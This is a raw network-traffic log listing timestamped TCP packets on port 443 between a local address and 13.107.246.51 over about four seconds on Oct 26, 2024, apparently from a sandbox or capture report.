Oct 26, 2024 13:45:41.624402046 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.749166012 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.749789953 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.749814987 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.750438929 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.750443935 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.756510973 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.756686926 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.756752014 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.756882906 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.756901979 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.756917000 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.756923914 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.760867119 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.760920048 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.760988951 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.761229992 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.761248112 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.864571095 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.865395069 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.865434885 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.866036892 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.866044998 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.920196056 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.920267105 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.920320988 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.920557976 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.920578957 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.920591116 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.920598030 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.924469948 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.924556017 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.924649000 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.924791098 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.924813986 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.999449015 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.999587059 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.999629021 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.999650002 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.999691010 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.999958992 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.999982119 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.999994040 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.000000000 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.003449917 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.003490925 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.003576994 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.003771067 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.003787994 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.188936949 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.189734936 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.189786911 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.190535069 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.190542936 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.318393946 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.318558931 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.318639040 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.318813086 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.318831921 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.318845034 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.318850040 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.323482037 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.323518038 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.323637962 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.323810101 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.323826075 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.357482910 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.358016968 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.358062983 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.358516932 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.358521938 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486500025 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486572027 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486648083 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.486663103 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486684084 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486737013 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.486958027 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.486967087 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.486978054 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.486982107 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.490499973 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.490540028 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.490623951 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.490823984 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.490840912 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.494240046 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.494659901 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.494688034 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.495255947 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.495265007 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.621918917 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.622057915 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.622139931 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.622433901 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.622466087 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.622483015 CEST	49916	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.622490883 CEST	443	49916	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.626205921 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.626259089 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.626348972 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.626564980 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.626600027 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.670780897 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.671555042 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.671572924 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.672274113 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.672280073 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.763505936 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.767446995 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.767479897 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.768065929 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.768073082 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.818602085 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.818645000 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.818696976 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.818705082 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.818751097 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.820297956 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.820317984 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.820329905 CEST	49917	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.820336103 CEST	443	49917	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.869755983 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.869808912 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.869878054 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.871686935 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.871701956 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.914928913 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.915009975 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.915064096 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.915230989 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.915252924 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.915265083 CEST	49918	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.915271997 CEST	443	49918	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.918225050 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.918263912 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:42.918344975 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.918541908 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:42.918559074 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.059387922 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.067121029 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.067156076 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.067745924 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.067754030 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.195518017 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.195619106 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.195683956 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.259718895 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.261295080 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.261336088 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.261354923 CEST	49919	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.261364937 CEST	443	49919	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.262655020 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.262679100 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.263128996 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.263134956 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.313999891 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.314030886 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.314109087 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.317323923 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.317338943 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.386118889 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.392887115 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.392961025 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.393045902 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.394818068 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.394853115 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.395427942 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.395435095 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.395659924 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.395659924 CEST	49920	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.395682096 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.395693064 CEST	443	49920	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.400346994 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.400377035 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.400473118 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.400648117 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.400662899 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.524550915 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.524857998 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.524955988 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.525006056 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.525026083 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.525058031 CEST	49921	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.525064945 CEST	443	49921	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.528340101 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.528382063 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.528476954 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.528659105 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.528672934 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.612267971 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.612977982 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.613002062 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.613470078 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.613477945 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.648332119 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.649074078 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.649117947 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.649581909 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.649590969 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.741215944 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.741316080 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.741400957 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.741713047 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.741713047 CEST	49922	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.741733074 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.741745949 CEST	443	49922	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.745369911 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.745419979 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.745542049 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.745739937 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.745755911 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.819659948 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.819694042 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.819753885 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.819813967 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.819813967 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.820530891 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.820555925 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.820569038 CEST	49923	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.820581913 CEST	443	49923	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.827653885 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.827697992 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:43.827792883 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.828044891 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:43.828064919 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.054239988 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.054764032 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.054779053 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.055280924 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.055289030 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.141688108 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.142548084 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.142560959 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.142818928 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.142822981 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.189378023 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.189448118 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.189497948 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.189758062 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.189781904 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.189795971 CEST	49924	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.189804077 CEST	443	49924	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.193273067 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.193324089 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.193443060 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.193581104 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.193594933 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.269912004 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.270613909 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.270627975 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.271141052 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.271147013 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.273330927 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.273355007 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.273406982 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.273442030 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.273488045 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.273807049 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.273807049 CEST	49925	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.273823977 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.273837090 CEST	443	49925	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.277086020 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.277127981 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.277199984 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.277340889 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.277359962 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.403104067 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.403175116 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.403233051 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.403476954 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.403492928 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.403503895 CEST	49926	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.403508902 CEST	443	49926	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.407322884 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.407362938 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.407489061 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.407677889 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.407697916 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.511972904 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.512592077 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.512605906 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.513262987 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.513267040 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.581543922 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.582370996 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.582387924 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.583039999 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.583046913 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.645768881 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.645804882 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.645868063 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.645891905 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.645914078 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.646200895 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.646219015 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.646231890 CEST	49927	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.646239042 CEST	443	49927	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.649548054 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.649643898 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.649732113 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.649888039 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.649910927 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.716305017 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.716389894 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.716456890 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.716676950 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.716706038 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.716723919 CEST	49928	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.716732025 CEST	443	49928	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.719726086 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.719769955 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.719851971 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.720005989 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.720022917 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.950387001 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.951004982 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.951069117 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:44.951559067 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:44.951577902 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.011456013 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.012039900 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.012054920 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.012542963 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.012557030 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.081772089 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.081841946 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.081912994 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.081942081 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.082000971 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.082103968 CEST	49929	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.082146883 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.082182884 CEST	49929	443	192.168.2.4	13.107.246.51
